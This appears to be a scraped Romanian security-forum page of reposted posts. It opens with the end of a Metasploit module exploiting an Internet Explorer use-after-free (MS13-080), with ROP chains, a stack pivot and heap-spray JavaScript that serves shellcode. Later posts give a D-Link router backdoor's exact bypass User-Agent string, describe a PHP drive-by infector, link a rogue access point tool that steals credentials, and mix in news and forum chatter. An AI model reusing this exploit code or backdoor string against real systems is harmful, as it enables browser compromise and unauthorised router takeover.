xchg eax, esp; add eax, [eax]; add esp, 10; mov eax,esi; pop esi; pop ebp; retn 4 junk, junk, junk, junk, junk, 0x51BE7E9A, # ROP NOP junk # Padding for the retn 4 from the stack pivot ].pack("V*") rop_payload = generate_rop_payload('hxds', payload.encoded, {'target'=>'2010', 'pivot'=>pivot}) when 'default' if target_info[:os] =~ /windows xp/i # XP uses msvcrt.dll pivot = [ 0x77C3868A # xchg eax,esp; rcr [ebx-75], 0c1h; pop ebp; ret ].pack("V*") rop_payload = generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp', 'pivot'=>pivot}) else # Assuming this is Win 7, and we'll use Java 6 ROP pivot = [ 0x7c342643, # xchg eax,esp # pop edi # add byte ptr [eax],al # pop ecx # retn junk # Padding for the POP ECX ].pack("V*") rop_payload = generate_rop_payload('java', payload.encoded, {'pivot'=>pivot}) end end rop_payload end def get_sploit_html(cli, target_info) os = target_info[:os] dll = target_info[:dll] js_payload = '' if os =~ /Windows (7|XP) MSIE 8\.0/ print_status("Target uses #{os} with #{dll} DLL... engaging.") js_payload = Rex::Text.to_unescape(get_payload(target_info)) else print_error("Target uses #{os} with #{dll} DLL... not supported by this attack.") return "" end %Q|<html> <head> <script> #{js_property_spray} sprayHeap({shellcode:unescape("#{js_payload}")}); var earth = document; var data = ""; for (i=0; i<17; i++) { if (i==7) { data += unescape("%u2020%u2030"); } else { data += "\\u4141\\u4141"; } } data += "\\u4141"; function butterfly() { for(i=0; i<20; i++) { var effect = earth.createElement("div"); effect.className = data; } } function kaiju() { var godzilla = earth.createElement("textarea"); var minilla = earth.createElement("pre"); earth.body.appendChild(godzilla); earth.body.appendChild(minilla); godzilla.appendChild(minilla); godzilla.onselect=function(e) { minilla.swapNode(earth.createElement("div")); } var battleStation = false; var war = new Array(); godzilla.onpropertychange=function(e) { if (battleStation == true) { for (i=0; i<50; i++) { war.push(earth.createElement("span")); } } earth.execCommand("Unselect"); if (battleStation == true) { for (i=0; i < war.length; i++) { war[i].className = data; } } else { battleStation = true; } } butterfly(); godzilla.select(); } </script> </head> <body onload='kaiju()'> </body> </html> | end def on_request_uri(cli, request) if request.uri =~ /search\?o=(.+)\&d=(.+)$/ target_info = { :os => Rex::Text.uri_decode($1), :dll => Rex::Text.uri_decode($2) } sploit = get_sploit_html(cli, target_info) send_response(cli, sploit, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) return end html = get_check_html print_status("Checking out target...") send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) end end =begin +hpa this for debugging or you might not see a crash at all 0:005> r eax=d6091326 ebx=0777efd4 ecx=00000578 edx=000000c8 esi=043bbfd0 edi=043bbf9c eip=6d6dc123 esp=043bbf7c ebp=043bbfa0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 mshtml!QIClassID+0x30: 6d6dc123 8b03 mov eax,dword ptr [ebx] ds:0023:0777efd4=???????? 0:005> u mshtml!QIClassID+0x30: 6d6dc123 8b03 mov eax,dword ptr [ebx] 6d6dc125 8365e800 and dword ptr [ebp-18h],0 6d6dc129 8d4de8 lea ecx,[ebp-18h] 6d6dc12c 51 push ecx 6d6dc12d 6870c16d6d push offset mshtml!IID_IProxyManager (6d6dc170) 6d6dc132 53 push ebx 6d6dc133 bf02400080 mov edi,80004002h 6d6dc138 ff10 call dword ptr [eax] =end Sursa: Revision 79c612cd - Add MS13-080 (CVE-2013-3897): Internet Explorer CDisplayPointer Use-After-Fre... - Metasploit Framework - Metasploit Redmine Interface
  10. [h=1]Kdms Team hackers hijack Rapid7 website using faxed DNS change request[/h] [h=2]“Hacking like it’s 1964”[/h] By John E Dunn | Techworld | Published: 17:01, 11 October 2013 A pro-Palestinian hacktivist group managed to briefly hijack the Metasploit website of security firm Rapid7 on Friday after faxing a DNS change request to its registrar, the firm’s chief research officer HD Moore has admitted. News of the attack emerged when newbie hackers ‘Kdms Team’ announced the takeover on Twitter with a series of brief messages concluding with a simple “Hello Rapid7.” The attack appears to have lasted for a period of nearly an hour before Rapid7’s Moore took to Twitter to reply. “I can confirm that the DNS settings were changed for a few minutes and pointed to 74.53.46.114,” he said. After ruefully admitting the attack had been “creative”, Moore said that it had occurred after a simple bogus fax request to its registrar, Register.com. “Hacking like its 1964,” Moore added, gamely. Earlier this week, the same Kdms Team burst on to the hacktivist scene with an identical and equally embarrassing attack and on several Internet firms, including security firms AVG, Avira and messaging firm WhatsApp. That attack pivoted around a more orthodox password change request to Network Solutions. Where the group got the DNS change idea from is no mystery. In late August the New York Times suffered a serious domain-redirection attack by the Syrian Electronic Army (SEA) that kept the site offline for several days. As with the New York Times, Rapid's Moore admitted the firm does not use domain locking to raise the level of authentication require for DNS change requests. “We sign binaries, publish checksums, and authenticate updates, so not a big deal, just annoying,” commented Moore. “When security companies can be hijacked, that's a good indicator of how fragile DNS is and what a single point of failure DNS providers have become,” commented Robert Hansen, technical evangelist at WhiteHat Security. “Hijacking session tokens, stealing usernames and passwords and redirecting email are just some of the things that become possible when DNS is hijacked,” he said. Sursa: Kdms Team hackers hijack Rapid7 website using faxed DNS change request - Techworld.com
  11. [h=1]PHP Infector[/h] Posted on October 12, 2013 by darryl A reader wanted me to analyze a PHP file that was found on his hacked WordPress site. The script is made up of three parts as you can see. The top two sections contain an array of Base64-encoded strings. The bottom section references the arrays and performs the main functions. My first thought was to replace each of the array variables with the actual decoded strings. Then I could read the script at the bottom and figure out what it’s doing. But replacing each of the variable names with the values from the array manually would be a pain! (Anyone got a better idea? If so, let me know.) Whenever I come across a problem, I try to find a generic solution that I can keep using in the future. Here’s what I came up with… First I take each of the top two sections and separate the encoded values by rows. So I take this: And use search/replace to make it look like this: Then I modified Converter to base64-decode each row separately: Then I replaced each row with a pipe delimiter (since it wasn’t being used anywhere): I did the same for the second section: I wrote a program that does a search and replace of the array values. I entered the search string that corresponded to the top section and pasted in the decoded strings with the pipe delimiter to get the result. The second section was next. All done! This script probably won’t execute properly because some of the strings need to be quoted but at least you can get a much better idea of what’s going on. Basically this downloads a file from a website, gets the URL and visits it. It essentially serves up a drive-by link to unsuspecting visitors. The iframe link is the landing page of Sweet Orange. The link changes every couple of minutes or so. I’ll need to think about this more and see if there’s another generic solution. If not, I’ll add this method to Converter in the future. Sursa: PHP Infector | Kahu Security
  12. [h=1]Rouge_AP v9 for Kali Linux[/h] my rouge ap that steals creds from https, running under kali linux. in this demo, my host is a laptop with 2 wireless adapters. one is connected to wifi accsess point and then using other wlan adapter for rouge connections. Get it here: https://app.box.com/s/iaij9vpf64f0r90...
  13. Reverse Engineering a D-Link Backdoor By Craig | October 12, 2013 All right. It’s Saturday night, I have no date, a two-liter bottle of Shasta and my all-Rush mix-tape… . On a whim I downloaded firmware v1.13 for the DIR-100 revA. Binwalk quickly found and extracted a SquashFS file system, and soon I had the firmware’s web server (/bin/webs) loaded into IDA: Strings inside /bin/webs Based on the above strings listing, the /bin/webs binary is a modified version of thttpd which provides the administrative interface for the router. It appears to have been modified by Alphanetworks (a spin-off of D-Link). They were even thoughtful enough to prepend many of their custom function names with the string “alpha”: Alphanetworks’ custom functions The alpha_auth_check function sounds interesting! This function is called from a couple different locations, most notably from alpha_httpd_parse_request: Function call to alpha_auth_check We can see that alpha_auth_check is passed one argument (whatever is stored in register $s2); if alpha_auth_check returns -1 (0xFFFFFFFF), the code jumps to the end of alpha_httpd_parse_request, otherwise it continues processing the request. Some further examination of the use of register $s2 prior to the alpha_auth_check call indicates that it is a pointer to a data structure which contains char* pointers to various pieces of the received HTTP request, such as HTTP headers and the requested URL: $s2 is a pointer to a data structure We can now define a function prototype for alpha_auth_check and begin to enumerate elements of the data structure: struct http_request_t{ char unknown[0xB8]; char *url; // At offset 0xB8 into the data structure }; int alpha_auth_check(struct http_request_t *request); alpha_auth_check itself is a fairly simple function. It does a few strstr’s and strcmp’s against some pointers in the http_request_t structure, then calls check_login, which actually does the authentication check. If the calls to any of the strstr’s / strcmp’s or check_login succeed, it returns 1; else, it redirects the browser to the login page and returns -1: alpha_auth_check code snippet Those strstr’s look interesting. They take the requested URL (at offset 0xB8 into the http_request_t data structure, as previously noted) and check to see if it contains the strings “graphic/” or “public/”. These are sub-directories under the device’s web directory, and if the requested URL contains one of those strings, then the request is allowed without authentication. It is the final strcmp however, which proves a bit more compelling: An interesting string comparison in alpha_auth_check This is performing a strcmp between the string pointer at offset 0xD0 inside the http_request_t structure and the string “xmlset_roodkcableoj28840ybtide”; if the strings match, the check_login function call is skipped and alpha_auth_check returns 1 (authentication OK). A quick Google for the “xmlset_roodkcableoj28840ybtide” string turns up only a single Russian forum post from a few years ago, which notes that this is an “interesting line” inside the /bin/webs binary. I’d have to agree. So what is this mystery string getting compared against? If we look back in the call tree, we see that the http_request_t structure pointer is passed around by a few functions: It turns out that the pointer at offset 0xD0 in the http_request_t structure is populated by the httpd_parse_request function: Checks for the User-Agent HTTP header Populates http_request_t + 0xD0 with a pointer to the User-Agent header string This code is effectively: if(strstr(header, "User-Agent:") != NULL){ http_request_t->0xD0 = header + strlen("User-Agent:") + strspn(header, " \t"); } Knowing that offset 0xD0 in http_request_t contains a pointer to the User-Agent header, we can now re-construct the alpha_auth_check function: #define AUTH_OK 1#define AUTH_FAIL -1 int alpha_auth_check(struct http_request_t *request) { if(strstr(request->url, "graphic/") || strstr(request->url, "public/") || strcmp(request->user_agent, "xmlset_roodkcableoj28840ybtide") == 0) { return AUTH_OK; } else { // These arguments are probably user/pass or session info if(check_login(request->0xC, request->0xE0) != 0) { return AUTH_OK; } } return AUTH_FAIL; } In other words, if your browser’s user agent string is “xmlset_roodkcableoj28840ybtide” (no quotes), you can access the web interface without any authentication and view/change the device settings (a DI-524UP is shown, as I don’t have a DIR-100 and the DI-524UP uses the same firmware): Accessing the admin page of a DI-524UP Based on the source code of the HTML pages and some Shodan search results, it can be reasonably concluded that the following D-Link devices are likely affected: DIR-100 DI-524 DI-524UP DI-604S DI-604UP DI-604+ TM-G5240 Additionally, several Planex routers also appear to use the same firmware: BRL-04UR BRL-04CW You stay classy, D-Link. Bookmark the permalink. Sursa: Reverse Engineering a D-Link Backdoor - /dev/ttyS0
  14. [h=3]CreateRemoteThread vs. RtlCreateUserThread[/h]In this post i will shed the light on a slight difference between the "CreateRemoteThread" and "RtlCreateUserThread" functions. I will also show how this slight difference could affect your code, esp. if you are implementing an anti-attaching trick. The difference is in the way the CONTEXT structure is initialized for the new thread. Let's first take the "CreateRemoteThread" function in disassembly. On Windows XP SP3, at address 0x7C810550, We can see a call to the non-exported "_BaseInitializeContext@20" function which as its name implies sets initial values for registers of the CONTEXT structure. Here, we focus on only two registers, EIP and EAX which are set in the following manner: 1) The EIP register is set to the address of either "_BaseThreadStartThunk@8" or "_BaseProcessStartThunk@8" depending on the fifth parameter (in this case, the fifth parameter is set to TRUE and EIP is set to the address of "_BaseThreadStartThunk@8"). 2) The EAX register is set to the user-defined entry point (User-defined here means the value passed to the "CreateRemoteThread" function in the "lpStartAddress" parameter). Now the very first thing we conclude is that "BaseThreadStartThunk@8" later executes the user-defined entry point. Now let's take the "RtlCreateUserThread" function in disassembly and see how the CONTEXT structure for the new thread is initialized. As you can see in the image above, a different function, "RtlInitializeContext", is used for this task. Going into this function, we can see that it is as simple as setting : 1)The EAX register to zero. 2) The EIP register to the user-defined entry point. A question arises here!!. what is this useful for? If a thread tries to query its own entry point by calling the "ZwQueryInformationThread" function with the "ThreadInformationClass" parameter set to ThreadQuerySetWin32StartAddress, then the initial value of EAX is the value returned in the "ThreadInformation" parameter. In most cases, this is okay since almost all threads are created by the "CreateRemoteThread" function and hence the user-defined entry point is always returned. But threads created by the "RtlCreateUserThread" function (e.g. threads created by debuggers to attach to running processes) will not be able to query its own entry point using the "ZwQueryInformationThread" function, since the value returned in the "ThreadInformation" parameter will always be zero as the initial value for EAX was zero. Imagine a TLS callback running in the context of the attaching thread and trying to query the thread's entry point by calling the "ZwQueryInformationThread" function as part of detecting the debugger, the entry point returned will be zero since the initial value of EAX was zero. A good solution for this problem is using the "NtQuerySystemInformation" function with the "SystemInformationClass" parameter set to SystemProcessesAndThreadsInformation to get information about all current processes and threads, then locating the proper thread and its SYSTEM_THREAD_INFORMATION structure. Once the right structure is found, the thread entry point can easily be seen in the "StartAddress" member. The code showing how to use the "NtQuerySystemInformation" function to extract threads entry points can be found here. An example demonstrating how to use the "NtQuerySystemInformation" function as anti-attaching trick can be found here. N.B. This topic has been tested on Windows XP SP3. You can follow me on Twitter @waleedassar Sursa: waliedassar: CreateRemoteThread vs. RtlCreateUserThread
  15. Cica e pentru siguranta noastra, ne apara de teroristi. Sclavii americanilor. Fortza Russia!
  16. Da, acum vreo 3 ani am trimis si eu catre studentii din facultate, "de pe" mail-ul profesorului de la care toti erau nerabdatori sa afle raspunsuri. E util pentru caterinca.
  17. Facultatea e necesara! Daca ai diploma de licenta (la o mare parte dintre facultati), practic, primesti cu 16% mai mult la salariu. Normal, nu inveti mare lucru acolo, materii de cacat, cele utile poate nu sunt predate bine... Dar daca iti place si vrei sa lucrezi in domeniu, puneti in pula mea mana si invatati singuri. Cand vine vorba de angajare, trebuie sa le si demonstrati angajatorilor ca stiti ceva. Cum faceti asta? Le aratati ce proiecte ati facut. Ai facut? Faceti. Sau faceti laba. E viitorul vostru, e alegerea voastra.
  18. In niciun caz nu ar fi una in care sa iti dai datele reale: numere de telefon, poze cu tine (care de multe ori contin locatia GPS la care au fost facute), prietenii, locurile pe care le frecventezi... V-as sfatui sa faceti putin curat pe profilul vostru si sa stergeti cat mai multe lucruri personale.
  19. In fine, tema e cumparata, e platita de kwe.
  20. Nytro

    Free e-books.

    Am incercat 2 carti (random) de C++ si merg. Ai si poza si link direct de download. Care anume nu iti merge?
  21. Nytro

    Free e-books.

    [h=5]Free e-books. 1.Linux http://www.efytimes.com/e1/fullnews.asp?edid=116902 Top 10 Most Wanted Linux Books 2.Assembly http://www.efytimes.com/e1/fullnews.asp?edid=117964 3.C 35 Free eBooks On C Programming 4.C++ http://www.efytimes.com/e1/fullnews.asp?edid=117660 5.C# http://www.efytimes.com/e1/fullnews.asp?edid=117598 6.Java http://www.efytimes.com/e1/fullnews.asp?edid=117834 7.Python http://www.efytimes.com/e1/fullnews.asp?edid=117094 8.Perl http://efytimes.com/e1/fullnews.asp?edid=117324 9.Ruby 22 Free eBooks On Ruby 10.Javascript http://www.efytimes.com/e1/fullnews.asp?edid=117236 11.JQuery http://www.efytimes.com/e1/fullnews.asp?edid=117488[/h]
  22. Ctrl + F5. Doar la tine e.
  23. Legat de problema cu butoanele, pune si tu un screenshot la pagina. Legat de tema? Copyright? Ha? La cate probleme a avut jegu asta de tema, nu le dau "copyright", le dau muie alora care au facut-o.
  24. #ro0ted Attacking SIP/VoIP Servers by Faith Sursa: https://www.cyberguerrilla.org/blog/?p=15957
  25. Paunch, the author of Blackhole Exploit kit arrested in Russia Wang Wei, The Hacker News - Monday, October 07, 2013 According to a Security Analyst ' Maarten Boone' working at Fox-IT company, the Developer of notorious Blackhole Exploit Kit developer 'Paunch' and his partners were arrested in Russia recently. Blackhole Exploit Kit which is responsible for the majority of web attacks today, is a crimeware that makes it simple for just about anyone to build a botnet. This Malware kit was developed by a hacker who uses the nickname “Paunch” and his Team, has gained wide adoption and is currently one of the most common exploit frameworks used for Web-based malware delivery. The Blackhole exploit kit is a framework for delivering exploits via compromised or third-party websites, serve up a range of old and new exploits for Oracle's Java, Adobe's Flash and other popular software to take control of victim's machines. It the point of writing No Police Authority or Press has confirmed the claim made by Maarten about the arrest of Malware author. Please Stay tuned to THN for updates about the Story. In April, 2013 - Russian hackers and developers behind the Carberp botnet, that stole millions from bank accounts worldwide were also arrested. Read more: Paunch, the author of Blackhole Exploit kit arrested in Russia - The Hacker News Sursa: Paunch, the author of Blackhole Exploit kit arrested in Russia - The Hacker News
×
×
  • Create New...